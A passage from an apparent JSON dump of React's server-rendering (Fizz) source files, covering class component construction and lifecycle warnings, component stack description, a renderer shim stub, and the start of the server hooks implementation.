warnOnUndefinedDerivedState(ctor, partialState);\n  }\n  // Merge the partial state and the previous state.\n  const newState =\n    partialState === null || partialState === undefined\n      ? prevState\n      : assign({}, prevState, partialState);\n  return newState;\n}\n\nexport function constructClassInstance(\n  ctor: any,\n  props: any,\n  maskedLegacyContext: any,\n): any {\n  let context = emptyContextObject;\n  const contextType = ctor.contextType;\n\n  if (__DEV__) {\n    if ('contextType' in ctor) {\n      const isValid =\n        // Allow null for conditional declaration\n        contextType === null ||\n        (contextType !== undefined &&\n          contextType.$$typeof === REACT_CONTEXT_TYPE);\n\n      if (!isValid && !didWarnAboutInvalidateContextType.has(ctor)) {\n        didWarnAboutInvalidateContextType.add(ctor);\n\n        let addendum = '';\n        if (contextType === undefined) {\n          addendum =\n            ' However, it is set to undefined. ' +\n            'This can be caused by a typo or by mixing up named and default imports. ' +\n            'This can also happen due to a circular dependency, so ' +\n            'try moving the createContext() call to a separate file.';\n        } else if (typeof contextType !== 'object') {\n          addendum = ' However, it is set to a ' + typeof contextType + '.';\n        } else if (contextType.$$typeof === REACT_CONSUMER_TYPE) {\n          addendum = ' Did you accidentally pass the Context.Consumer instead?';\n        } else {\n          addendum =\n            ' However, it is set to an object with keys {' +\n            Object.keys(contextType).join(', ') +\n            '}.';\n        }\n        console.error(\n          '%s defines an invalid contextType. ' +\n            'contextType should point to the Context object returned by React.createContext().%s',\n          getComponentNameFromType(ctor) || 'Component',\n          addendum,\n        );\n      }\n    }\n  }\n\n  if (typeof contextType === 'object' && contextType !== null) {\n    context = readContext((contextType: any));\n  } else if (!disableLegacyContext) {\n    context = maskedLegacyContext;\n  }\n\n  const instance = new ctor(props, context);\n\n  if (__DEV__) {\n    if (\n      typeof ctor.getDerivedStateFromProps === 'function' &&\n      (instance.state === null || instance.state === undefined)\n    ) {\n      const componentName = getComponentNameFromType(ctor) || 'Component';\n      if (!didWarnAboutUninitializedState.has(componentName)) {\n        didWarnAboutUninitializedState.add(componentName);\n        console.error(\n          '`%s` uses `getDerivedStateFromProps` but its initial state is ' +\n            '%s. This is not recommended. Instead, define the initial state by ' +\n            'assigning an object to `this.state` in the constructor of `%s`. ' +\n            'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.',\n          componentName,\n          instance.state === null ? 'null' : 'undefined',\n          componentName,\n        );\n      }\n    }\n\n    // If new component APIs are defined, \"unsafe\" lifecycles won't be called.\n    // Warn about these lifecycles if they are present.\n    // Don't warn about react-lifecycles-compat polyfilled methods though.\n    if (\n      typeof ctor.getDerivedStateFromProps === 'function' ||\n      typeof instance.getSnapshotBeforeUpdate === 'function'\n    ) {\n      let foundWillMountName = null;\n      let foundWillReceivePropsName = null;\n      let foundWillUpdateName = null;\n      if (\n        typeof instance.componentWillMount === 'function' &&\n        instance.componentWillMount.__suppressDeprecationWarning !== true\n      ) {\n        foundWillMountName = 'componentWillMount';\n      } else if (typeof instance.UNSAFE_componentWillMount === 'function') {\n        foundWillMountName = 'UNSAFE_componentWillMount';\n      }\n      if (\n        typeof instance.componentWillReceiveProps === 'function' &&\n        instance.componentWillReceiveProps.__suppressDeprecationWarning !== true\n      ) {\n        foundWillReceivePropsName = 'componentWillReceiveProps';\n      } else if (\n        typeof instance.UNSAFE_componentWillReceiveProps === 'function'\n      ) {\n        foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps';\n      }\n      if (\n        typeof instance.componentWillUpdate === 'function' &&\n        instance.componentWillUpdate.__suppressDeprecationWarning !== true\n      ) {\n        foundWillUpdateName = 'componentWillUpdate';\n      } else if (typeof instance.UNSAFE_componentWillUpdate === 'function') {\n        foundWillUpdateName = 'UNSAFE_componentWillUpdate';\n      }\n      if (\n        foundWillMountName !== null ||\n        foundWillReceivePropsName !== null ||\n        foundWillUpdateName !== null\n      ) {\n        const componentName = getComponentNameFromType(ctor) || 'Component';\n        const newApiName =\n          typeof ctor.getDerivedStateFromProps === 'function'\n            ? 'getDerivedStateFromProps()'\n            : 'getSnapshotBeforeUpdate()';\n        if (!didWarnAboutLegacyLifecyclesAndDerivedState.has(componentName)) {\n          didWarnAboutLegacyLifecyclesAndDerivedState.add(componentName);\n          console.error(\n            'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n              '%s uses %s but also contains the following legacy lifecycles:%s%s%s\\n\\n' +\n              'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n              'https://react.dev/link/unsafe-component-lifecycles',\n            componentName,\n            newApiName,\n            foundWillMountName !== null ? `\\n  ${foundWillMountName}` : '',\n            foundWillReceivePropsName !== null\n              ? `\\n  ${foundWillReceivePropsName}`\n              : '',\n            foundWillUpdateName !== null ? `\\n  ${foundWillUpdateName}` : '',\n          );\n        }\n      }\n    }\n  }\n\n  return instance;\n}\n\nfunction checkClassInstance(instance: any, ctor: any, newProps: any) {\n  if (__DEV__) {\n    const name = getComponentNameFromType(ctor) || 'Component';\n    const renderPresent = instance.render;\n\n    if (!renderPresent) {\n      if (ctor.prototype && typeof ctor.prototype.render === 'function') {\n        console.error(\n          'No `render` method found on the %s ' +\n            'instance: did you accidentally return an object from the constructor?',\n          name,\n        );\n      } else {\n        console.error(\n          'No `render` method found on the %s ' +\n            'instance: you may have forgotten to define `render`.',\n          name,\n        );\n      }\n    }\n\n    if (\n      instance.getInitialState &&\n      !instance.getInitialState.isReactClassApproved &&\n      !instance.state\n    ) {\n      console.error(\n        'getInitialState was defined on %s, a plain JavaScript class. ' +\n          'This is only supported for classes created using React.createClass. ' +\n          'Did you mean to define a state property instead?',\n        name,\n      );\n    }\n    if (\n      instance.getDefaultProps &&\n      !instance.getDefaultProps.isReactClassApproved\n    ) {\n      console.error(\n        'getDefaultProps was defined on %s, a plain JavaScript class. ' +\n          'This is only supported for classes created using React.createClass. ' +\n          'Use a static property to define defaultProps instead.',\n        name,\n      );\n    }\n    if (instance.contextType) {\n      console.error(\n        'contextType was defined as an instance property on %s. Use a static ' +\n          'property to define contextType instead.',\n        name,\n      );\n    }\n\n    if (disableLegacyContext) {\n      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {\n        didWarnAboutChildContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy childContextTypes API which was removed in React 19. ' +\n            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {\n        didWarnAboutContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy contextTypes API which was removed in React 19. ' +\n            'Use React.createContext() with static contextType instead. ' +\n            '(https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n    } else {\n      if (instance.contextTypes) {\n        console.error(\n          'contextTypes was defined as an instance property on %s. Use a static ' +\n            'property to define contextTypes instead. (https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n\n      if (\n        ctor.contextType &&\n        ctor.contextTypes &&\n        !didWarnAboutContextTypeAndContextTypes.has(ctor)\n      ) {\n        didWarnAboutContextTypeAndContextTypes.add(ctor);\n        console.error(\n          '%s declares both contextTypes and contextType static properties. ' +\n            'The legacy contextTypes property will be ignored.',\n          name,\n        );\n      }\n      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {\n        didWarnAboutChildContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy childContextTypes API which will soon be removed. ' +\n            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {\n        didWarnAboutContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy contextTypes API which will soon be removed. ' +\n            'Use React.createContext() with static contextType instead. ' +\n            '(https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n    }\n\n    if (typeof instance.componentShouldUpdate === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' +\n          'The name is phrased as a question because the function is ' +\n          'expected to return a value.',\n        name,\n      );\n    }\n    if (\n      ctor.prototype &&\n      ctor.prototype.isPureReactComponent &&\n      typeof instance.shouldComponentUpdate !== 'undefined'\n    ) {\n      console.error(\n        '%s has a method called shouldComponentUpdate(). ' +\n          'shouldComponentUpdate should not be used when extending React.PureComponent. ' +\n          'Please extend React.Component if shouldComponentUpdate is used.',\n        getComponentNameFromType(ctor) || 'A pure component',\n      );\n    }\n    if (typeof instance.componentDidUnmount === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentDidUnmount(). But there is no such lifecycle method. ' +\n          'Did you mean componentWillUnmount()?',\n        name,\n      );\n    }\n    if (typeof instance.componentDidReceiveProps === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentDidReceiveProps(). But there is no such lifecycle method. ' +\n          'If you meant to update the state in response to changing props, ' +\n          'use componentWillReceiveProps(). If you meant to fetch data or ' +\n          'run side-effects or mutations after React has updated the UI, use componentDidUpdate().',\n        name,\n      );\n    }\n    if (typeof instance.componentWillRecieveProps === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?',\n        name,\n      );\n    }\n    if (typeof instance.UNSAFE_componentWillRecieveProps === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'UNSAFE_componentWillRecieveProps(). Did you mean UNSAFE_componentWillReceiveProps()?',\n        name,\n      );\n    }\n    const hasMutatedProps = instance.props !== newProps;\n    if (instance.props !== undefined && hasMutatedProps) {\n      console.error(\n        'When calling super() in `%s`, make sure to pass ' +\n          \"up the same props that your component's constructor was passed.\",\n        name,\n      );\n    }\n    if (instance.defaultProps) {\n      console.error(\n        'Setting defaultProps as an instance property on %s is not supported and will be ignored.' +\n          ' Instead, define defaultProps as a static property on %s.',\n        name,\n        name,\n      );\n    }\n\n    if (\n      typeof instance.getSnapshotBeforeUpdate === 'function' &&\n      typeof instance.componentDidUpdate !== 'function' &&\n      !didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.has(ctor)\n    ) {\n      didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.add(ctor);\n      console.error(\n        '%s: getSnapshotBeforeUpdate() should be used with componentDidUpdate(). ' +\n          'This component defines getSnapshotBeforeUpdate() only.',\n        getComponentNameFromType(ctor),\n      );\n    }\n\n    if (typeof instance.getDerivedStateFromProps === 'function') {\n      console.error(\n        '%s: getDerivedStateFromProps() is defined as an instance method ' +\n          'and will be ignored. Instead, declare it as a static method.',\n        name,\n      );\n    }\n    if (typeof instance.getDerivedStateFromError === 'function') {\n      console.error(\n        '%s: getDerivedStateFromError() is defined as an instance method ' +\n          'and will be ignored. Instead, declare it as a static method.',\n        name,\n      );\n    }\n    if (typeof ctor.getSnapshotBeforeUpdate === 'function') {\n      console.error(\n        '%s: getSnapshotBeforeUpdate() is defined as a static method ' +\n          'and will be ignored. Instead, declare it as an instance method.',\n        name,\n      );\n    }\n    const state = instance.state;\n    if (state && (typeof state !== 'object' || isArray(state))) {\n      console.error('%s.state: must be set to an object or null', name);\n    }\n    if (\n      typeof instance.getChildContext === 'function' &&\n      typeof ctor.childContextTypes !== 'object'\n    ) {\n      console.error(\n        '%s.getChildContext(): childContextTypes must be defined in order to ' +\n          'use getChildContext().',\n        name,\n      );\n    }\n  }\n}\n\nfunction callComponentWillMount(type: any, instance: any) {\n  const oldState = instance.state;\n\n  if (typeof instance.componentWillMount === 'function') {\n    if (__DEV__) {\n      if (instance.componentWillMount.__suppressDeprecationWarning !== true) {\n        const componentName = getComponentNameFromType(type) || 'Unknown';\n\n        if (!didWarnAboutDeprecatedWillMount[componentName]) {\n          console.warn(\n            // keep this warning in sync with ReactStrictModeWarning.js\n            'componentWillMount has been renamed, and is not recommended for use. ' +\n              'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n              '* Move code from componentWillMount to componentDidMount (preferred in most cases) ' +\n              'or the constructor.\\n' +\n              '\\nPlease update the following components: %s',\n            componentName,\n          );\n          didWarnAboutDeprecatedWillMount[componentName] = true;\n        }\n      }\n    }\n\n    instance.componentWillMount();\n  }\n  if (typeof instance.UNSAFE_componentWillMount === 'function') {\n    instance.UNSAFE_componentWillMount();\n  }\n\n  if (oldState !== instance.state) {\n    if (__DEV__) {\n      console.error(\n        '%s.componentWillMount(): Assigning directly to this.state is ' +\n          \"deprecated (except inside a component's \" +\n          'constructor). Use setState instead.',\n        getComponentNameFromType(type) || 'Component',\n      );\n    }\n    classComponentUpdater.enqueueReplaceState(instance, instance.state, null);\n  }\n}\n\nfunction processUpdateQueue(\n  internalInstance: InternalInstance,\n  inst: any,\n  props: any,\n  maskedLegacyContext: any,\n): void {\n  if (internalInstance.queue !== null && internalInstance.queue.length > 0) {\n    const oldQueue = internalInstance.queue;\n    const oldReplace = internalInstance.replace;\n    internalInstance.queue = null;\n    internalInstance.replace = false;\n\n    if (oldReplace && oldQueue.length === 1) {\n      inst.state = oldQueue[0];\n    } else {\n      let nextState = oldReplace ? oldQueue[0] : inst.state;\n      let dontMutate = true;\n      for (let i = oldReplace ? 1 : 0; i < oldQueue.length; i++) {\n        const partial = oldQueue[i];\n        const partialState =\n          typeof partial === 'function'\n            ? partial.call(inst, nextState, props, maskedLegacyContext)\n            : partial;\n        if (partialState != null) {\n          if (dontMutate) {\n            dontMutate = false;\n            nextState = assign({}, nextState, partialState);\n          } else {\n            assign(nextState, partialState);\n          }\n        }\n      }\n      inst.state = nextState;\n    }\n  } else {\n    internalInstance.queue = null;\n  }\n}\n\n// Invokes the mount life-cycles on a previously never rendered instance.\nexport function mountClassInstance(\n  instance: any,\n  ctor: any,\n  newProps: any,\n  maskedLegacyContext: any,\n): void {\n  if (__DEV__) {\n    checkClassInstance(instance, ctor, newProps);\n  }\n\n  const initialState = instance.state !== undefined ? instance.state : null;\n\n  instance.updater = classComponentUpdater;\n  instance.props = newProps;\n  instance.state = initialState;\n  // We don't bother initializing the refs object on the server, since we're not going to resolve them anyway.\n\n  // The internal instance will be used to manage updates that happen during this mount.\n  const internalInstance: InternalInstance = {\n    queue: [],\n    replace: false,\n  };\n  setInstance(instance, internalInstance);\n\n  const contextType = ctor.contextType;\n  if (typeof contextType === 'object' && contextType !== null) {\n    instance.context = readContext(contextType);\n  } else if (disableLegacyContext) {\n    instance.context = emptyContextObject;\n  } else {\n    instance.context = maskedLegacyContext;\n  }\n\n  if (__DEV__) {\n    if (instance.state === newProps) {\n      const componentName = getComponentNameFromType(ctor) || 'Component';\n      if (!didWarnAboutDirectlyAssigningPropsToState.has(componentName)) {\n        didWarnAboutDirectlyAssigningPropsToState.add(componentName);\n        console.error(\n          '%s: It is not recommended to assign props directly to state ' +\n            \"because updates to props won't be reflected in state. \" +\n            'In most cases, it is better to use props directly.',\n          componentName,\n        );\n      }\n    }\n  }\n\n  const getDerivedStateFromProps = ctor.getDerivedStateFromProps;\n  if (typeof getDerivedStateFromProps === 'function') {\n    instance.state = applyDerivedStateFromProps(\n      instance,\n      ctor,\n      getDerivedStateFromProps,\n      initialState,\n      newProps,\n    );\n  }\n\n  // In order to support react-lifecycles-compat polyfilled components,\n  // Unsafe lifecycles should not be invoked for components using the new APIs.\n  if (\n    typeof ctor.getDerivedStateFromProps !== 'function' &&\n    typeof instance.getSnapshotBeforeUpdate !== 'function' &&\n    (typeof instance.UNSAFE_componentWillMount === 'function' ||\n      typeof instance.componentWillMount === 'function')\n  ) {\n    callComponentWillMount(ctor, instance);\n    // If we had additional state updates during this life-cycle, let's\n    // process them now.\n    processUpdateQueue(\n      internalInstance,\n      instance,\n      newProps,\n      maskedLegacyContext,\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzComponentStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactComponentInfo, ReactAsyncInfo} from 'shared/ReactTypes';\nimport type {LazyComponent} from 'react/src/ReactLazy';\n\nimport {\n  describeBuiltInComponentFrame,\n  describeFunctionComponentFrame,\n  describeClassComponentFrame,\n  describeDebugInfoFrame,\n} from 'shared/ReactComponentStackFrame';\n\nimport {\n  REACT_FORWARD_REF_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n} from 'shared/ReactSymbols';\n\nimport {enableViewTransition} from 'shared/ReactFeatureFlags';\n\nimport {formatOwnerStack} from 'shared/ReactOwnerStackFrames';\n\nexport type ComponentStackNode = {\n  parent: null | ComponentStackNode,\n  type:\n    | symbol\n    | string\n    | Function\n    | LazyComponent<any, any>\n    | ReactComponentInfo\n    | ReactAsyncInfo,\n  owner?: null | ReactComponentInfo | ComponentStackNode, // DEV only\n  stack?: null | string | Error, // DEV only\n};\n\nfunction shouldConstruct(Component: any) {\n  return Component.prototype && Component.prototype.isReactComponent;\n}\n\nfunction describeComponentStackByType(\n  type:\n    | symbol\n    | string\n    | Function\n    | LazyComponent<any, any>\n    | ReactComponentInfo,\n): string {\n  if (typeof type === 'string') {\n    return describeBuiltInComponentFrame(type);\n  }\n  if (typeof type === 'function') {\n    if (shouldConstruct(type)) {\n      return describeClassComponentFrame(type);\n    } else {\n      return describeFunctionComponentFrame(type);\n    }\n  }\n  if (typeof type === 'object' && type !== null) {\n    switch (type.$$typeof) {\n      case REACT_FORWARD_REF_TYPE: {\n        return describeFunctionComponentFrame((type: any).render);\n      }\n      case REACT_MEMO_TYPE: {\n        return describeFunctionComponentFrame((type: any).type);\n      }\n      case REACT_LAZY_TYPE: {\n        const lazyComponent: LazyComponent<any, any> = (type: any);\n        const payload = lazyComponent._payload;\n        const init = lazyComponent._init;\n        try {\n          type = init(payload);\n        } catch (x) {\n          // TODO: When we support Thenables as component types we should rename this.\n          return describeBuiltInComponentFrame('Lazy');\n        }\n        return describeComponentStackByType(type);\n      }\n    }\n    if (typeof type.name === 'string') {\n      return describeDebugInfoFrame(type.name, type.env, type.debugLocation);\n    }\n  }\n  switch (type) {\n    case REACT_SUSPENSE_LIST_TYPE: {\n      return describeBuiltInComponentFrame('SuspenseList');\n    }\n    case REACT_SUSPENSE_TYPE: {\n      return describeBuiltInComponentFrame('Suspense');\n    }\n    case REACT_VIEW_TRANSITION_TYPE:\n      if (enableViewTransition) {\n        return describeBuiltInComponentFrame('ViewTransition');\n      }\n  }\n  return '';\n}\n\nexport function getStackByComponentStackNode(\n  componentStack: ComponentStackNode,\n): string {\n  try {\n    let info = '';\n    let node: ComponentStackNode = componentStack;\n    do {\n      info += describeComponentStackByType(node.type);\n      // $FlowFixMe[incompatible-type] we bail out when we get a null\n      node = node.parent;\n    } while (node);\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n\nfunction describeFunctionComponentFrameWithoutLineNumber(fn: Function): string {\n  // We use this because we don't actually want to describe the line of the component\n  // but just the component name.\n  const name = fn ? fn.displayName || fn.name : '';\n  return name ? describeBuiltInComponentFrame(name) : '';\n}\n\nexport function getOwnerStackByComponentStackNodeInDev(\n  componentStack: ComponentStackNode,\n): string {\n  if (!__DEV__) {\n    return '';\n  }\n  try {\n    let info = '';\n\n    // The owner stack of the current component will be where it was created, i.e. inside its owner.\n    // There's no actual name of the currently executing component. Instead, that is available\n    // on the regular stack that's currently executing. However, for built-ins there is no such\n    // named stack frame and it would be ignored as being internal anyway. Therefore we add\n    // add one extra frame just to describe the \"current\" built-in component by name.\n    // Similarly, if there is no owner at all, then there's no stack frame so we add the name\n    // of the root component to the stack to know which component is currently executing.\n    if (typeof componentStack.type === 'string') {\n      info += describeBuiltInComponentFrame(componentStack.type);\n    } else if (typeof componentStack.type === 'function') {\n      if (!componentStack.owner) {\n        // Only if we have no other data about the callsite do we add\n        // the component name as the single stack frame.\n        info += describeFunctionComponentFrameWithoutLineNumber(\n          componentStack.type,\n        );\n      }\n    } else {\n      if (!componentStack.owner) {\n        info += describeComponentStackByType(componentStack.type);\n      }\n    }\n\n    let owner: void | null | ComponentStackNode | ReactComponentInfo =\n      componentStack;\n\n    while (owner) {\n      let ownerStack: ?string = null;\n      if (owner.debugStack != null) {\n        // Server Component\n        // TODO: Should we stash this somewhere for caching purposes?\n        ownerStack = formatOwnerStack(owner.debugStack);\n        owner = owner.owner;\n      } else {\n        // Client Component\n        const node: ComponentStackNode = (owner: any);\n        if (node.stack != null) {\n          if (typeof node.stack !== 'string') {\n            ownerStack = node.stack = formatOwnerStack(node.stack);\n          } else {\n            ownerStack = node.stack;\n          }\n        }\n        owner = owner.owner;\n      }\n      // If we don't actually print the stack if there is no owner of this JSX element.\n      // In a real app it's typically not useful since the root app is always controlled\n      // by the framework. These also tend to have noisy stacks because they're not rooted\n      // in a React render but in some imperative bootstrapping code. It could be useful\n      // if the element was created in module scope. E.g. hoisted. We could add a a single\n      // stack frame for context for example but it doesn't say much if that's a wrapper.\n      if (owner && ownerStack) {\n        info += '\\n' + ownerStack;\n      }\n    }\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/prod-error-codes */\n\n// We expect that our Rollup, Jest, and Flow configurations\n// always shim this module with the corresponding host config\n// (either provided by a renderer, or a generic shim for npm).\n//\n// We should never resolve to this file, but it exists to make\n// sure that if we *do* accidentally break the configuration,\n// the failure isn't silent.\n\nthrow new Error('This module must be shimmed by a specific renderer.');\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzCurrentTask.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Task} from './ReactFizzServer';\n\n// DEV-only global reference to the currently executing task\nexport let currentTaskInDEV: null | Task = null;\n\nexport function setCurrentTaskInDEV(task: null | Task): void {\n  if (__DEV__) {\n    currentTaskInDEV = task;\n  }\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';\n\nimport type {\n  ReactContext,\n  StartTransitionOptions,\n  Thenable,\n  Usable,\n  ReactCustomFormAction,\n  Awaited,\n} from 'shared/ReactTypes';\n\nimport type {ResumableState} from './ReactFizzConfig';\nimport type {Request, Task, KeyNode} from './ReactFizzServer';\nimport type {ThenableState} from './ReactFizzThenable';\nimport type {TransitionStatus} from './ReactFizzConfig';\n\nimport {readContext as readContextImpl} from './ReactFizzNewContext';\nimport {getTreeId} from './ReactFizzTreeContext';\nimport {\n  createThenableState,\n  trackUsedThenable,\n  readPreviousThenable,\n} from './ReactFizzThenable';\n\nimport {\n  makeId,\n  NotPendingTransition,\n  supportsClientAPIs,\n} from './ReactFizzConfig';\nimport {createFastHash} from './ReactServerStreamConfig';\n\nimport is from 'shared/objectIs';\nimport {\n  REACT_CONTEXT_TYPE,\n  REACT_MEMO_CACHE_SENTINEL,\n} from 'shared/ReactSymbols';\nimport {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';\nimport {getFormState} from './ReactFizzServer';\n\nimport noop from 'shared/noop';\n\ntype BasicStateAction<S> = (S => S) | S;\ntype Dispatch<A> = A => void;\n\ntype Update<A> = {\n  action: A,\n  next: Update<A> | null,\n};\n\ntype UpdateQueue<A> = {\n  last: Update<A> | null,\n  dispatch: any,\n};\n\ntype Hook = {\n  memoizedState: any,\n  queue: UpdateQueue<any> | null,\n  next: Hook | null,\n};\n\nlet currentlyRenderingComponent: Object | null = null;\nlet currentlyRenderingTask: Task | null = null;\nlet currentlyRenderingRequest: Request | null = null;\nlet currentlyRenderingKeyPath: KeyNode | null = null;\nlet firstWorkInProgressHook: Hook | null = null;\nlet workInProgressHook: Hook | null = null;\n// Whether the work-in-progress hook is a re-rendered hook\nlet isReRender: boolean = false;\n// Whether an update was scheduled during the currently executing render pass.\nlet didScheduleRenderPhaseUpdate: boolean = false;\n// Counts the number of useId hooks in this component\nlet localIdCounter: number = 0;\n// Chunks that should be pushed to the stream once the component\n// finishes rendering.\n// Counts the number of useActionState calls in this component\nlet actionStateCounter: number = 0;\n// The index of the useActionState hook that matches the one passed in at the\n// root during an MPA navigation, if any.\nlet actionStateMatchingIndex: number = -1;\n// Counts the number of use(thenable) calls in this component\nlet thenableIndexCounter: number = 0;\nlet thenableState: ThenableState | null = null;\n// Lazily created map of render-phase updates\nlet renderPhaseUpdates: Map<UpdateQueue<any>, Update<any>> | null = null;\n// Counter to prevent infinite loops.\nlet numberOfReRenders: number = 0;\nconst RE_RENDER_LIMIT = 25;\n\nlet isInHookUserCodeInDev = false;\n\n// In DEV, this is the name of the currently executing primitive hook\nlet currentHookNameInDev: ?string;\n\nfunction resolveCurrentlyRenderingComponent(): Object {\n  if (currentlyRenderingComponent === null) {\n    throw new Error(\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    );\n  }\n\n  if (__DEV__) {\n    if (isInHookUserCodeInDev) {\n      console.error(\n        'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n          'You can only call Hooks at the top level of your React function. ' +\n          'For more information, see ' +\n          'https://react.dev/link/rules-of-hooks',\n      );\n    }\n  }\n  return currentlyRenderingComponent;\n}\n\nfunction areHookInputsEqual(\n  nextDeps: Array<mixed>,\n  prevDeps: Array<mixed> | null,\n) {\n  if (prevDeps === null) {\n    if (__DEV__) {\n      console.error(\n        '%s received a final argument during this render, but not during ' +\n          'the previous render. Even though the final argument is optional, ' +\n          'its type cannot change between renders.',\n        currentHookNameInDev,\n      );\n    }\n    return false;\n  }\n\n  if (__DEV__) {\n    // Don't bother comparing lengths in prod because these arrays should be\n    // passed inline.\n    if (nextDeps.length !== prevDeps.length) {\n      console.error(\n        'The final argument passed to %s changed size between renders. The ' +\n          'order and size of this array must remain constant.\\n\\n' +\n          'Previous: %s\\n' +\n          'Incoming: %s',\n        currentHookNameInDev,\n        `[${nextDeps.join(', ')}]`,\n        `[${prevDeps.join(', ')}]`,\n      );\n    }\n  }\n  // $FlowFixMe[incompatible-use] found when upgrading Flow\n  for (let i = 0; i < prevDeps.length && i < nextDeps.length; i++) {\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    if (is(nextDeps[i], prevDeps[i])) {\n      continue;\n    }\n    return false;\n  }\n  return true;\n}\n\nfunction createHook(): Hook {\n  if (numberOfReRenders > 0) {\n    throw new Error('Rendered more hooks than during the previous render');\n  }\n  return {\n    memoizedState: null,\n    queue: null,\n    next: null,\n  };\n}\n\nfunction createWorkInProgressHook(): Hook {\n  if (workInProgressHook === null) {\n    // This is the first hook in the list\n    if (firstWorkInProgressHook === null) {\n      isReRender = false;\n      firstWorkInProgressHook = workInProgressHook = createHook();\n    } else {\n      // There's already a work-in-progress. Reuse it.\n      isReRender = true;\n      workInProgressHook = firstWorkInProgressHook;\n    }\n  } else {\n    if (workInProgressHook.next === null) {\n      isReRender = false;\n      // Append to the end of the list\n      workInProgressHook = workInProgressHook.next = createHook();\n    } else {\n      // There's already a work-in-progress. Reuse it.\n      isReRender = true;\n      workInProgressHook = workInProgressHook.next;\n    }\n  }\n  return workInProgressHook;\n}\n\nexport function prepareToUseHooks(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode | null,\n  componentIdentity: Object,\n  prevThenableState: ThenableState | null,\n): void {\n  currentlyRenderingComponent = componentIdentity;\n  currentlyRenderingTask = task;\n  currentlyRenderingRequest = request;\n  currentlyRenderingKeyPath = keyPath;\n  if (__DEV__) {\n    isInHookUserCodeInDev = false;\n  }\n\n  // The following should have already been reset\n  // didScheduleRenderPhaseUpdate = false;\n  // firstWorkInProgressHook = null;\n  // numberOfReRenders = 0;\n  // renderPhaseUpdates = null;\n  // workInProgressHook = null;\n\n  localIdCounter = 0;\n  actionStateCounter = 0;\n  actionStateMatchingIndex = -1;\n  thenableIndexCounter = 0;\n  thenableState = prevThenableState;\n}\n\nexport function prepareToUseThenableState(\n  prevThenableState: ThenableState | null,\n): void {\n  thenableIndexCounter = 0;\n  thenableState = prevThenableState;\n}\n\nexport function finishHooks(\n  Component: any,\n  props: any,\n  children: any,\n  refOrContext: any,\n): any {\n  // This must be called after every function component to prevent hooks from\n  // being used in classes.\n\n  while (didScheduleRenderPhaseUpdate) {\n    // Updates were scheduled during the render phase. They are stored in\n    // the `renderPhaseUpdates` map. Call the component again, reusing the\n    // work-in-progress hooks and applying the additional updates on top. Keep\n    // restarting until no more updates are scheduled.\n    didScheduleRenderPhaseUpdate = false;\n    localIdCounter = 0;\n    actionStateCounter = 0;\n    actionStateMatchingIndex = -1;\n    thenableIndexCounter = 0;\n    numberOfReRenders += 1;\n\n    // Start over from the beginning of the list\n    workInProgressHook = null;\n\n    children = Component(props, refOrContext);\n  }\n\n  resetHooksState();\n  return children;\n}\n\nexport function getThenableStateAfterSuspending(): null | ThenableState {\n  const state = thenableState;\n  